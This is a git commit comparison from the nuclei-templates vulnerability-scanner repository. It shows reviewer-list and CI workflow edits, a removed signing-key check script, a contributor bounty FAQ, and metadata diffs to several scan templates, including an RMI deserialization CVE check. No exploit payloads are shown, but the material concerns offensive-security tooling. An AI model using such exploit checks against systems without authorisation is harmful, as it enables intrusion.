Compare commits

..
Author SHA1 Message Date
Prince Chaddha 513d8844ec Updated haproxy 2026-07-09 12:52:25 +04:00
5452 changed files with 26742 additions and 74517 deletions

No files matched your search

+2
View File
@@ -7,6 +7,7 @@ addAssignees: false
# A list of reviewers to be added to pull requests (GitHub user name)
reviewers:
- ritikchaddha
- pussycat0x
- DhiyaneshGeek
# A number of reviewers added to the pull request
@@ -15,6 +16,7 @@ numberOfReviewers: 1
# A list of assignees, overrides reviewers if set
assignees:
- pussycat0x
- ritikchaddha
- DhiyaneshGeek
+2 -2
View File
@@ -7,8 +7,8 @@ password = sys.argv[3]
repo_owner = "projectdiscovery"
repo_name = "nuclei-templates"
pr_user_list = ["DhiyaneshGeek", "ritikchaddha"]
issue_user_list = ["DhiyaneshGeek", "ritikchaddha", "princechaddha"]
pr_user_list = ["pussycat0x", "DhiyaneshGeek", "ritikchaddha"]
issue_user_list = ["DhiyaneshGeek", "ritikchaddha", "pussycat0x", "princechaddha"]
headers = {'Authorization': f'Bearer {password}',
'Accept': 'application/vnd.github+json',
-101
View File
@@ -1,101 +0,0 @@
#!/usr/bin/env python3
"""Fail if a code or javascript template is signed with a non-ProjectDiscovery key.
Nuclei refuses to run code and javascript templates whose signature does not
verify, and it also refuses to *re-sign* one that already carries a signature:
could not sign 'x.yaml': cause="re-signing code templates are not allowed
for security reasons."
So a template contributed with the author's own signing key can never be picked
up by the signing workflow. It stays permanently unrunnable, and because http
and network templates only warn, the breakage is easy to miss. CVE-2025-71260
sat broken from March 2026 until it was found by hand.
The fix is always the same: drop the `# digest:` line so the signing workflow
can apply the official key on the next push to main. This check catches it at
review time instead.
A template with no digest at all passes — that is the expected state for a new
or freshly stripped template awaiting signing.
"""
import argparse
import pathlib
import re
import subprocess
import sys
PD_KEY = "922c64590222798bb761d5b6d8e72950"
ROOTS = ("code", "javascript")
DIGEST = re.compile(r"^# digest:\s*(?P<sig>[0-9a-f]+):(?P<fp>[0-9a-f]+)\s*$")
def fingerprint(path):
"""Return the signing-key fingerprint of a template, or None when unsigned."""
try:
for line in reversed(path.read_text(encoding="utf-8", errors="replace").splitlines()):
if not line.strip():
continue
m = DIGEST.match(line)
return m.group("fp") if m else None
except OSError as e:
print(f"::warning file={path}::could not read: {e}")
return None
def repo_root(explicit=None):
"""Resolve the repo to scan: an explicit path, else git's toplevel, else cwd."""
if explicit:
return pathlib.Path(explicit).resolve()
try:
out = subprocess.run(["git", "rev-parse", "--show-toplevel"],
capture_output=True, text=True, check=True).stdout.strip()
if out:
return pathlib.Path(out)
except (OSError, subprocess.CalledProcessError):
pass
return pathlib.Path.cwd()
def main():
ap = argparse.ArgumentParser(description=__doc__)
ap.add_argument("--root", help="repo root to scan (default: git toplevel, else cwd)")
args = ap.parse_args()
repo = repo_root(args.root)
if not any((repo / r).is_dir() for r in ROOTS):
print(f"::error::no {' or '.join(ROOTS)} directory under {repo} — wrong root?")
return 1
offenders, checked = [], 0
for root in ROOTS:
for path in sorted((repo / root).rglob("*.yaml")):
checked += 1
fp = fingerprint(path)
if fp is not None and fp != PD_KEY:
rel = path.relative_to(repo)
offenders.append((rel, fp))
print(f"::error file={rel}::signed with {fp}, expected the "
f"ProjectDiscovery key {PD_KEY}. Remove the '# digest:' line "
f"so the signing workflow can re-sign this template.")
if offenders:
print(f"\n{len(offenders)} of {checked} template(s) carry a foreign signing key:\n")
for rel, fp in offenders:
print(f" {rel}\n key: {fp}")
print("\nNuclei will refuse to run these, and the signing workflow cannot "
"repair them while the signature is present. Delete the '# digest:' "
"line from each file:\n")
print(" sed -i '/^# digest:/d' \\\n " +
" \\\n ".join(str(rel) for rel, _ in offenders))
return 1
print(f"OK — all {checked} code/javascript templates are unsigned or signed "
f"with the ProjectDiscovery key.")
return 0
if __name__ == "__main__":
sys.exit(main())
+2 -2
View File
@@ -29,10 +29,10 @@ jobs:
// ======= CONFIG: put your user pools here =======
// Usernames must be GitHub logins and collaborators on this repo.
const ISSUE_ASSIGNEES = [
"ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
"pussycat0x","ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
];
const REVIEW_POOL = [
"ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
"pussycat0x","ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
];
const LOOKBACK_DAYS = 7; // only used as a tie-break fairness metric
// ================================================
+1 -1
View File
@@ -21,7 +21,7 @@ jobs:
fetch-depth: 0
- name: Setup Python
uses: actions/setup-python@v7
uses: actions/setup-python@v6
with:
python-version: '3.11'
+1 -1
View File
@@ -15,7 +15,7 @@ jobs:
uses: actions/checkout@v7
- name: Setup Python
uses: actions/setup-python@v7
uses: actions/setup-python@v6
with:
python-version: '3.11'
+1 -1
View File
@@ -15,7 +15,7 @@ jobs:
uses: actions/checkout@v7
- name: Setup Python
uses: actions/setup-python@v7
uses: actions/setup-python@v6
with:
python-version: '3.11'
+1 -1
View File
@@ -14,7 +14,7 @@ jobs:
steps:
- run: sudo apt-get install tree -y
- uses: actions/checkout@v7
- uses: actions/setup-python@v7
- uses: actions/setup-python@v6
with:
python-version: "3.8"
- run: python .github/scripts/update-readme.py
-10
View File
@@ -6,16 +6,6 @@ on:
- main
paths:
- '**.yaml'
# The EPSS and KEV jobs rewrite template YAML after signing, which invalidates
# every signature they touch. Their commits use GITHUB_TOKEN, so they cannot
# fire the push trigger above. workflow_run fires regardless of the actor, so
# signatures are restored as soon as those jobs finish.
workflow_run:
workflows:
- "📊 EPSS Score Update"
- "📋 KEV & vKEV Tag Update"
types:
- completed
workflow_dispatch:
jobs:
-15
View File
@@ -30,21 +30,6 @@ jobs:
- name: Validate templates
run: nuclei -duc -validate -lfa -ud $GITHUB_WORKSPACE -w workflows/ -et .github/ -ept code -et helpers/payloads/
signing-key-check:
name: Signing Key Check
needs: lint
runs-on: ubuntu-latest
if: github.repository == 'projectdiscovery/nuclei-templates'
steps:
- uses: actions/checkout@v7
- uses: actions/setup-python@v7
with:
python-version: '3.11'
# A code/javascript template signed with a contributor's own key can never
# be re-signed by the signing workflow, so it stays permanently unrunnable.
- name: Check templates carry the ProjectDiscovery signing key
run: python .github/scripts/check-signing-key.py
weak-matcher-checks:
needs: lint
runs-on: ubuntu-latest
@@ -13,7 +13,7 @@ jobs:
uses: actions/checkout@v7
- name: Install Python3
uses: actions/setup-python@v7
uses: actions/setup-python@v6
with:
python-version: "3.10"
+62 -25
View File
@@ -1,25 +1,62 @@
http/cves/2010/CVE-2010-1428.yaml
http/cves/2024/CVE-2024-56829.yaml
http/cves/2026/CVE-2026-102782.yaml
http/cves/2026/CVE-2026-102878.yaml
http/cves/2026/CVE-2026-10525.yaml
http/cves/2026/CVE-2026-11565.yaml
http/cves/2026/CVE-2026-116006.yaml
http/cves/2026/CVE-2026-116067.yaml
http/cves/2026/CVE-2026-16535.yaml
http/cves/2026/CVE-2026-16959.yaml
http/cves/2026/CVE-2026-17540.yaml
http/cves/2026/CVE-2026-18110.yaml
http/cves/2026/CVE-2026-56062.yaml
http/cves/2026/CVE-2026-59707.yaml
http/cves/2026/CVE-2026-82901.yaml
http/cves/2026/CVE-2026-89026.yaml
http/cves/2026/CVE-2026-89079.yaml
http/cves/2026/CVE-2026-9062.yaml
http/cves/2026/CVE-2026-93485.yaml
http/cves/2026/CVE-2026-97359.yaml
http/cves/2026/CVE-2026-9848.yaml
http/exposed-panels/danfoss-ak-sm-800a-panel.yaml
http/javascript/cves/2026/CVE-2026-111497.yaml
http/technologies/opencloud-detect.yaml
http/vulnerabilities/wordpress/jetpack-reader-xss.yaml
dns/dns-internal-ip-disclosure.yaml
http/cves/2026/CVE-2026-10823.yaml
http/cves/2026/CVE-2026-13731.yaml
http/cves/2026/CVE-2026-1890.yaml
http/cves/2026/CVE-2026-22778.yaml
http/cves/2026/CVE-2026-28496.yaml
http/cves/2026/CVE-2026-30958.yaml
http/cves/2026/CVE-2026-34413.yaml
http/cves/2026/CVE-2026-48282.yaml
http/cves/2026/CVE-2026-48313.yaml
http/cves/2026/CVE-2026-48611.yaml
http/cves/2026/CVE-2026-52815.yaml
http/cves/2026/CVE-2026-56782.yaml
http/cves/2026/CVE-2026-8037.yaml
http/cves/2026/CVE-2026-8383.yaml
http/cves/2026/cve-2026-44381.yaml
http/default-logins/dahua/dahua-icc-default-login.yaml
http/exposed-panels/array-networks-ssl-vpn-panel.yaml
http/exposed-panels/aruba-via-vpn-panel.yaml
http/exposed-panels/cradlepoint-gateway-panel.yaml
http/exposed-panels/ctrlpanel-panel.yaml
http/exposed-panels/cyberoam-firewall-panel.yaml
http/exposed-panels/ddwrt-panel.yaml
http/exposed-panels/ecessa-panel.yaml
http/exposed-panels/elfiq-panel.yaml
http/exposed-panels/endian-firewall-panel.yaml
http/exposed-panels/featherpanel-panel.yaml
http/exposed-panels/firemon-asset-manager-panel.yaml
http/exposed-panels/fortinet-fortianalyzer-panel.yaml
http/exposed-panels/headscale-panel.yaml
http/exposed-panels/hillstone-ssl-vpn-panel.yaml
http/exposed-panels/jotty-page-login-panel.yaml
http/exposed-panels/netgate-pfsenseplus-panel.yaml
http/exposed-panels/netsweeper-webadmin-panel.yaml
http/exposed-panels/nuage-networks-vsp-panel.yaml
http/exposed-panels/ocserv-panel.yaml
http/exposed-panels/peplink-incontrol-panel.yaml
http/exposed-panels/sangfor-iam-panel.yaml
http/exposed-panels/sangfor-ngaf-panel.yaml
http/exposed-panels/silver-peak-edgeconnect-panel.yaml
http/exposed-panels/sma-opcon-panel.yaml
http/exposed-panels/smoothwall-firewall-panel.yaml
http/exposed-panels/sonicwall-analytics-panel.yaml
http/exposed-panels/sophos-utm-panel.yaml
http/exposed-panels/stormshield-network-security-panel.yaml
http/exposed-panels/thegreenbowvpn-panel.yaml
http/exposed-panels/trend-micro-deep-security-panel.yaml
http/exposed-panels/ubiquiti-edgerouter-panel.yaml
http/exposed-panels/unifi-securitygateway-panel.yaml
http/exposed-panels/wg-easy-panel.yaml
http/exposed-panels/zywall-usg-panel.yaml
http/iot/openremote-detect.yaml
http/misconfiguration/installer/ctrlpanel-installer.yaml
http/misconfiguration/marimo-auth-bypass.yaml
http/takeovers/godaddy-parked-domain.yaml
http/technologies/google-iap-detect.yaml
http/technologies/tibco-businessworks-detect.yaml
http/vulnerabilities/weaver/ecology/ecology-execforstr-rce.yaml
http/vulnerabilities/weaver/weaver-ecology9-doc-list-sqli.yaml
http/vulnerabilities/weaver/weaver-getemdslist-disclosure.yaml
javascript/cves/2025/CVE-2025-29635.yaml
network/misconfig/open-socks-proxy.yaml
+1 -1
View File
@@ -1 +1 @@
{"tags":[{"name":"vuln","count":7178},{"name":"cve","count":4605},{"name":"discovery","count":3887},{"name":"vkev","count":2006},{"name":"wordpress","count":1750},{"name":"panel","count":1637},{"name":"wp-plugin","count":1555},{"name":"exposure","count":1513},{"name":"xss","count":1429},{"name":"tech","count":1219},{"name":"osint","count":1131},{"name":"rce","count":1078},{"name":"detect","count":1076},{"name":"misconfig","count":1010},{"name":"wp","count":966},{"name":"lfi","count":898},{"name":"unauth","count":809},{"name":"devops","count":755},{"name":"cloud","count":720},{"name":"intrusive","count":639},{"name":"cve2024","count":628},{"name":"sqli","count":617},{"name":"edb","count":597},{"name":"wpscan","count":596},{"name":"cve2021","count":592},{"name":"authenticated","count":576},{"name":"kev","count":573},{"name":"cve2022","count":571},{"name":"cve2023","count":570},{"name":"login","count":562},{"name":"packetstorm","count":551},{"name":"cve2026","count":482},{"name":"cve2025","count":435},{"name":"network","count":404},{"name":"phishing","count":402},{"name":"file","count":392},{"name":"oast","count":388},{"name":"default-login","count":348},{"name":"auth-bypass","count":337},{"name":"config","count":331},{"name":"cve2020","count":328},{"name":"apache","count":292},{"name":"tcp","count":279},{"name":"microsoft","count":260},{"name":"iot","count":249},{"name":"token-spray","count":247},{"name":"top-200","count":235},{"name":"gcp","count":234},{"name":"osint-social","count":231},{"name":"gcp-cloud-config","count":227},{"name":"token","count":227},{"name":"gcloud","count":226},{"name":"cve2019","count":226},{"name":"","count":219},{"name":"ssrf","count":215},{"name":"malware","count":214},{"name":"azure","count":213},{"name":"cve2018","count":203},{"name":"aws","count":199},{"name":"time-based-sqli","count":199},{"name":"code","count":193},{"name":"csp-bypass","count":192},{"name":"azure-cloud-config","count":191},{"name":"redirect","count":185},{"name":"install","count":183},{"name":"amazon","count":176},{"name":"ai","count":170},{"name":"disclosure","count":168},{"name":"security","count":166},{"name":"joomla","count":164},{"name":"keys","count":159},{"name":"cms","count":156},{"name":"linux","count":155},{"name":"local","count":155},{"name":"aws-cloud-config","count":147},{"name":"router","count":146},{"name":"file-upload","count":139},{"name":"ftp","count":138},{"name":"audit","count":136},{"name":"files","count":136},{"name":"cve2017","count":133},{"name":"kubernetes","count":122},{"name":"js","count":119},{"name":"cve2010","count":116},{"name":"passive","count":113},{"name":"fpd","count":108},{"name":"oss","count":103},{"name":"tokens","count":102},{"name":"top-100","count":100},{"name":"debug","count":99},{"name":"windows-audit","count":95},{"name":"privesc","count":93},{"name":"traversal","count":93},{"name":"oracle","count":92},{"name":"enum","count":91},{"name":"cisco","count":90},{"name":"seclists","count":88},{"name":"windows","count":86},{"name":"takeover","count":84},{"name":"deserialization","count":82},{"name":"fileupload","count":80},{"name":"ics","count":78},{"name":"adobe","count":77},{"name":"k8s","count":77},{"name":"detection","count":73},{"name":"google","count":68},{"name":"vmware","count":68},{"name":"oob","count":67},{"name":"cve2015","count":67},{"name":"php","count":67},{"name":"logs","count":67},{"name":"atlassian","count":66},{"name":"api","count":66},{"name":"huntr","count":64},{"name":"cve2016","count":64},{"name":"vpn","count":64},{"name":"alibaba","count":64},{"name":"ir","count":63},{"name":"c2","count":63},{"name":"dast","count":59},{"name":"ssh","count":59},{"name":"injection","count":55},{"name":"cve2014","count":55},{"name":"ssti","count":54},{"name":"firewall","count":54},{"name":"llm","count":54},{"name":"fortinet","count":54},{"name":"sap","count":53},{"name":"aem","count":53},{"name":"misc","count":52},{"name":"plugin","count":52},{"name":"ibm","count":52},{"name":"generic","count":50},{"name":"ecommerce","count":50},{"name":"tenable","count":49},{"name":"osint-gaming","count":49},{"name":"wp-theme","count":49},{"name":"xxe","count":49},{"name":"dns","count":48},{"name":"log4j","count":48},{"name":"vulhub","count":47},{"name":"info-leak","count":47},{"name":"cnvd","count":46},{"name":"hackerone","count":46},{"name":"jndi","count":46},{"name":"postgresql","count":46},{"name":"springboot","count":46},{"name":"aliyun","count":45},{"name":"ssl","count":45},{"name":"dashboard","count":45},{"name":"kisa","count":44},{"name":"listing","count":44},{"name":"miscellaneous","count":43},{"name":"oa","count":43},{"name":"tls","count":43},{"name":"scada","count":43},{"name":"bank","count":42},{"name":"k8s-cluster-security","count":42},{"name":"osint-hobby","count":42},{"name":"osint-porn","count":42},{"name":"woocommerce","count":40},{"name":"jira","count":40},{"name":"dlink","count":40},{"name":"gitlab","count":39},{"name":"devsecops","count":39},{"name":"backup","countLine truncated
{"tags":[{"name":"vuln","count":6626},{"name":"cve","count":4283},{"name":"discovery","count":3729},{"name":"vkev","count":1795},{"name":"wordpress","count":1656},{"name":"panel","count":1537},{"name":"wp-plugin","count":1473},{"name":"exposure","count":1456},{"name":"xss","count":1409},{"name":"osint","count":1131},{"name":"misconfig","count":986},{"name":"rce","count":967},{"name":"tech","count":947},{"name":"wp","count":925},{"name":"lfi","count":857},{"name":"detect","count":765},{"name":"devops","count":752},{"name":"cloud","count":718},{"name":"unauth","count":659},{"name":"cve2024","count":625},{"name":"edb","count":597},{"name":"wpscan","count":597},{"name":"cve2021","count":595},{"name":"sqli","count":591},{"name":"cve2023","count":571},{"name":"cve2022","count":570},{"name":"packetstorm","count":552},{"name":"authenticated","count":546},{"name":"login","count":525},{"name":"intrusive","count":525},{"name":"kev","count":516},{"name":"cve2025","count":413},{"name":"phishing","count":402},{"name":"file","count":392},{"name":"network","count":387},{"name":"oast","count":357},{"name":"default-login","count":336},{"name":"cve2020","count":325},{"name":"config","count":323},{"name":"auth-bypass","count":283},{"name":"apache","count":282},{"name":"tcp","count":271},{"name":"microsoft","count":258},{"name":"token-spray","count":247},{"name":"top-200","count":235},{"name":"gcp","count":234},{"name":"osint-social","count":231},{"name":"gcp-cloud-config","count":227},{"name":"token","count":226},{"name":"gcloud","count":226},{"name":"cve2019","count":223},{"name":"iot","count":216},{"name":"malware","count":214},{"name":"azure","count":213},{"name":"","count":213},{"name":"cve2018","count":205},{"name":"aws","count":196},{"name":"ssrf","count":195},{"name":"time-based-sqli","count":194},{"name":"csp-bypass","count":192},{"name":"code","count":192},{"name":"azure-cloud-config","count":191},{"name":"cve2026","count":190},{"name":"redirect","count":185},{"name":"install","count":180},{"name":"amazon","count":175},{"name":"security","count":164},{"name":"keys","count":159},{"name":"disclosure","count":156},{"name":"local","count":155},{"name":"joomla","count":154},{"name":"aws-cloud-config","count":147},{"name":"cms","count":141},{"name":"linux","count":140},{"name":"router","count":139},{"name":"ftp","count":137},{"name":"files","count":133},{"name":"cve2017","count":131},{"name":"ai","count":131},{"name":"audit","count":122},{"name":"kubernetes","count":121},{"name":"js","count":119},{"name":"cve2010","count":115},{"name":"file-upload","count":113},{"name":"fpd","count":108},{"name":"tokens","count":102},{"name":"top-100","count":100},{"name":"passive","count":99},{"name":"debug","count":98},{"name":"oss","count":97},{"name":"windows-audit","count":95},{"name":"oracle","count":92},{"name":"enum","count":90},{"name":"privesc","count":88},{"name":"cisco","count":88},{"name":"seclists","count":88},{"name":"windows","count":85},{"name":"takeover","count":81},{"name":"fileupload","count":78},{"name":"k8s","count":77},{"name":"adobe","count":75},{"name":"deserialization","count":74},{"name":"detection","count":71},{"name":"traversal","count":69},{"name":"vmware","count":68},{"name":"ics","count":68},{"name":"google","count":67},{"name":"cve2015","count":66},{"name":"logs","count":65},{"name":"atlassian","count":65},{"name":"huntr","count":64},{"name":"cve2016","count":64},{"name":"oob","count":63},{"name":"php","count":63},{"name":"ir","count":63},{"name":"alibaba","count":62},{"name":"c2","count":61},{"name":"api","count":60},{"name":"dast","count":57},{"name":"cve2014","count":55},{"name":"ssh","count":55},{"name":"aem","count":53},{"name":"ssti","count":53},{"name":"misc","count":52},{"name":"fortinet","count":52},{"name":"sap","count":52},{"name":"injection","count":52},{"name":"ibm","count":51},{"name":"generic","count":50},{"name":"plugin","count":50},{"name":"osint-gaming","count":49},{"name":"ecommerce","count":49},{"name":"log4j","count":48},{"name":"info-leak","count":48},{"name":"tenable","count":48},{"name":"wp-theme","count":48},{"name":"xxe","count":47},{"name":"springboot","count":46},{"name":"cnvd","count":46},{"name":"vulhub","count":46},{"name":"hackerone","count":46},{"name":"aliyun","count":45},{"name":"firewall","count":45},{"name":"jndi","count":45},{"name":"listing","count":44},{"name":"kisa","count":44},{"name":"dns","count":44},{"name":"ssl","count":44},{"name":"miscellaneous","count":43},{"name":"oa","count":43},{"name":"postgresql","count":42},{"name":"bank","count":42},{"name":"dashboard","count":42},{"name":"osint-porn","count":42},{"name":"osint-hobby","count":42},{"name":"k8s-cluster-security","count":42},{"name":"tls","count":41},{"name":"devsecops","count":39},{"name":"jira","count":39},{"name":"dlink","count":39},{"name":"cti","count":38},{"name":"scada","count":38},{"name":"vpn","count":38},{"name":"xwiki","count":38},{"name":"graphql","count":37},{"name":"osint-coding","count":36}Line truncated
+8375 -9058
View File
File diff suppressed because it is too large. Load diff
+10 -10
View File
@@ -1,12 +1,12 @@
| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT |
|-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
| vuln | 7178 | dhiyaneshdk | 2175 | http | 11718 | info | 5388 | file | 447 |
| cve | 4605 | rxerium | 961 | cloud | 663 | high | 3044 | dns | 34 |
| discovery | 3887 | daffainfo | 950 | file | 447 | medium | 2869 | | |
| vkev | 2006 | princechaddha | 872 | code | 304 | critical | 2017 | | |
| wordpress | 1750 | dwisiswant0 | 807 | network | 287 | low | 520 | | |
| panel | 1637 | pussycat0x | 802 | dast | 251 | unknown | 59 | | |
| wp-plugin | 1555 | ritikchaddha | 789 | workflows | 207 | | | | |
| exposure | 1513 | 0x_akoko | 487 | javascript | 133 | | | | |
| xss | 1429 | theamanrawat | 355 | ssl | 39 | | | | |
| tech | 1219 | pikpikcu | 353 | dns | 31 | | | | |
| vuln | 6626 | dhiyaneshdk | 2114 | http | 10970 | info | 5013 | file | 447 |
| cve | 4283 | daffainfo | 949 | cloud | 663 | high | 2915 | dns | 33 |
| discovery | 3729 | princechaddha | 867 | file | 447 | medium | 2803 | | |
| vkev | 1795 | dwisiswant0 | 807 | code | 288 | critical | 1820 | | |
| wordpress | 1656 | pussycat0x | 797 | network | 280 | low | 504 | | |
| panel | 1537 | ritikchaddha | 779 | dast | 249 | unknown | 58 | | |
| wp-plugin | 1473 | rxerium | 644 | workflows | 207 | | | | |
| exposure | 1456 | 0x_akoko | 417 | javascript | 124 | | | | |
| xss | 1409 | pikpikcu | 353 | ssl | 38 | | | | |
| osint | 1131 | theamanrawat | 343 | dns | 30 | | | | |
+81
View File
@@ -0,0 +1,81 @@
# Nuclei Templates Bounty - FAQ
## What is the purpose of this bounty program?
The program is designed to reward the community for their efforts in contributing high-quality templates for critical and trending vulnerabilities.
## What are the bounty ranges for template submissions?
Bounties range from **$50 to $250**, depending on the complexity of the template and the effort required.
## Where can I find bounty issues?
Only issues listed by us on our GitHub repository with the 💎 **Bounty** label are eligible for rewards. You can find these bounty issues [here](https://github.com/projectdiscovery/nuclei-templates/issues?q=is%3Aissue%20state%3Aopen%20label%3A%22%F0%9F%92%8E%20Bounty%22)
## What is the acceptance criteria for templates?
The template must include a complete POC and should not rely solely on version-based detection. **Contributors MUST share vulnerable setup information or a testable instance by emailing [email protected].** This is a mandatory requirement to qualify for the bounty.
Templates must meet the following criteria:
1. **Complete POC**: A full Proof of Concept (POC) must be provided and not rely solely on version detection.
2. **Testable Instance (REQUIRED)**: Contributors **must** share vulnerable setup information or a testable instance by emailing templates@projectdiscovery.io. If you have hosted a vulnerable environment for validation, send the details (IP or Docker setup) along with the PR number to templates@projectdiscovery.io. **This is mandatory to qualify for the bounty.**
3. **No AI-Simulated Environments**: Do not submit AI-simulated vulnerable environments.
4. **Protocol Requirements**: Avoid submitting code templates for CVEs that can be detected using HTTP, TCP, or JavaScript only—these are not run on default scans and will not result in any findings.
5. **Validation Required**: To qualify for the bounty, the team must be able to fully validate the POC. Templates that are incomplete, invalid, or non-verifiable will not be accepted.
6. **Accurate Matchers**: Use strong matchers to avoid false positives.
> **Note**: Triagers will make the final decision on whether a template qualifies for a reward based on validation and the acceptance criteria outlined. **Providing a testable instance is mandatory and significantly reduces validation time.**
## How do I start working on a bounty issue?
1. **Find an Issue**: Look for issues tagged with 💎 **Bounty**.
2. **Declare Work**: Comment with `/attempt #<issue_number>` to claim the issue.
3. **Submit Work**: Submit your pull request with `/claim #<issue_number>` in the PR description when ready.
## How often are new bounty issues added?
We add new bounty issues on a **weekly basis**, so make sure to check back regularly for fresh opportunities. In the future, you can expect many more bounty issues as the program expands, allowing more opportunities for contributors to participate and earn rewards.
## Can I collaborate with others?
Yes, you can collaborate with other contributors and split rewards by commenting:
```
/claim #<issue_number>
/split @contributor1
/split @contributor2
```
## Is there a limit to how many issues I can work on?
You can work on up to **3 issues** simultaneously.
## What happens if I don’t complete an issue on time?
Issues must be completed within **2 months**, or they will be closed.
## How are rewards distributed?
Rewards are distributed once the template is fully validated. If the issue remains unresolved for **few weeks**, the bounty may increase.
## What should I include in my template submission?
Include the following:
> Avoid adding code templates for CVEs that can be achieved using HTTP, TCP, or JavaScript. Such templates are blocked by default and won’t produce results, so we prioritize creating templates with other protocols unless exceptions are made.
- **Complete POC**: A working Proof of Concept.
- **Matchers**: Multiple matchers to prevent false positives.
- **Debug Data**: Data to assist the triage team in validation.
- **Metadata**: Include required fields like `id`, `name`, `author`, `severity`, `description`, and `reference`.
## What types of templates will be rejected?
Templates may be rejected if they:
- Rely solely on version detection.
- Lack a complete POC.
- Contain weak matchers or redundant changes to existing templates.
## What should I avoid when submitting a template?
- Avoid sharing real-world targets publicly.
- Don’t submit templates with weak matchers.
- Avoid unnecessary changes to existing templates.
## Is there a leaderboard for contributors?
Yes! We now have a **leaderboard** that showcases top contributors. You can check it out here: [Leaderboard](https://cloud.projectdiscovery.io/templates/leaderboard).
## Is this program permanent?
The bounty program is currently a test run, but we may make changes based on community feedback.
## What additional rewards are available besides bounties?
Beyond bounties, we also reward contributors with:
- **Swag** such as t-shirts and stickers.
- **Invites to security conferences** for standout contributors.
- **Stickers** as a token of appreciation for all first-time contributors, regardless of the bounty.
> Contributors who feel their pull request or issue was overlooked for first-time contributor stickers can ping us on our Discord for assistance: [ProjectDiscovery Discord](https://discord.com/invite/projectdiscovery).
+2 -2
View File
@@ -9,7 +9,7 @@ info:
- https://aws.amazon.com/cli/
metadata:
max-request: 2
tags: cloud,devops,aws,amazon,aws-cloud-config
tags: cloud,devops,aws,amazone,aws-cloud-config
variables:
region: "us-east-1"
@@ -52,4 +52,4 @@ code:
- type: dsl
dsl:
- '"AWS CLI is properly configured for account \"" + account + "\" and all the necessary tools required are installed"'
# digest: 490a0046304402202d1c1289391a00e7c7e4717dc091d105bb40020c400002f44af89fa67ff431d202200a64b98e6e7320777442ace34db91831c6f055b4ca0cc6ccf7d0a4952075c75b:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022052484996550fb7281548c8303d5073f5afe21282edd02f6b44327849754db470022100e00b95fbe7c0069c51b67f29380e776144f64464de6aa670a8bcf248722b0e69:922c64590222798bb761d5b6d8e72950
@@ -12,7 +12,7 @@ info:
reference:
- https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities
- https://projectdiscovery.io/blog/ingressnightmare-unauth-rce-in-ingress-nginx
tags: cve,cve2025,cloud,devops,kubernetes,ingress,nginx,k8s,k8s-cluster-security,vkev
tags: cve,cve2025,cloud,devops,kubernetes,ingress,nginx,k8s,k8s-cluster-security
flow: |
code(1);
@@ -59,4 +59,4 @@ javascript:
- type: dsl
dsl:
- response
# digest: 4b0a00483046022100a16749044616d7fa5bef0f34b7dc0efffcd6e15a1e913779e4d7ea7e5ae880ec0221008c99c79bb10af571f216473a6b882121d5a73ea2dd9924fac43efc9c2ba1c61b:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022025ed151367a846d211bf074a1617a83ffb548d410c150328bf67f6ee18ac0b1802210096bcd92dbef5b968b615499daefd01e98fe26c6b6e56c6f431ec843c33379b67:922c64590222798bb761d5b6d8e72950
@@ -17,7 +17,7 @@ info:
/etc/kubernetes/manifests/kube-controller-manager.yaml and add the argument to the command section.
reference:
- https://kubernetes.io/docs/reference/command-line-tools-reference/kube-controller-manager/
- https://web.archive.org/web/20260114075905/https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
- Cloud Vulnerability Assessment Guide(2024) by KISA
tags: cloud,devops,kubernetes,devsecops,kube-controller-manager,bind-address,hardening,k8s,k8s-cluster-security
variables:
@@ -47,4 +47,4 @@ code:
- type: dsl
dsl:
- '"kube-controller-manager configuration is missing --bind-address or set to unsafe value (expected: 127.0.0.1 or ::1)"'
# digest: 4a0a00473045022100ce3791d8485a7d4ce1ad3f055cab92b20cf7e5c57f4e47ac478e74d193b74764022013ae946bf2b897ad3c2c1dbbe7268f54f658ced43f9ca82a3edc0b77785af48f:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402202913db41a43350176fa630504391e5399d252294710b1bad1c50cd162a8defcb02205cb4ec1d6e05dd2b5fa493bf0668f0c0bf4fa5f521759e4f84f95927e4e465d9:922c64590222798bb761d5b6d8e72950
@@ -16,7 +16,7 @@ info:
/etc/kubernetes/manifests/kube-scheduler.yaml and add the argument to the command section.
reference:
- https://kubernetes.io/docs/reference/command-line-tools-reference/kube-scheduler/
- https://web.archive.org/web/20260114075905/https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
- Cloud Vulnerability Assessment Guide(2024) by KISA
tags: cloud,devops,kubernetes,devsecops,kube-scheduler,bind-address,hardening,k8s,k8s-cluster-security
variables:
@@ -46,4 +46,4 @@ code:
- type: dsl
dsl:
- '"kube-scheduler configuration is missing --bind-address or set to unsafe value (expected: 127.0.0.1 or ::1)"'
# digest: 4a0a00473045022044867c79c6e39c0e6181e0f3339e6c915abb31d807a9b02fcec5fdac437e2d20022100dbae44977a3be1951dd85cb8bf16ab10d3372ca79a8c4616ccd2aa406a28c516:922c64590222798bb761d5b6d8e72950
# digest: 490a00463044022006a49804407d0d9b937760383c56604a16a549d8c45cb57b0ee1f8868b9e80c002204a7fb3c2364c55968c93e78151ce7a23232c10360bd6ffdc4ccd3c0c8aede23e:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -18,7 +18,7 @@ info:
cvss-score: 9.8
cve-id: CVE-2016-8735
epss-score: 0.90338
epss-percentile: 0.99796
epss-percentile: 0.99785
cpe: cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*
metadata:
shodan-query: product:"tomcat"
@@ -83,4 +83,4 @@ code:
- 'contains(response,"43726564656e7469616c732073686f756c6420626520537472696e675b5d20696e7374656164206f66206a6176612e7574696c2e486173684d61707572")'
- 'contains(interactsh_protocol, "dns")'
condition: and
# digest: 490a004630440220615c58e2f5301c05fd387592ae50deac160a000ec4ce6f527e3c63e53c341b7d02203071d241fd149f438615aee0cbc8ead49b213475202449c50cad493f44d15b74:922c64590222798bb761d5b6d8e72950
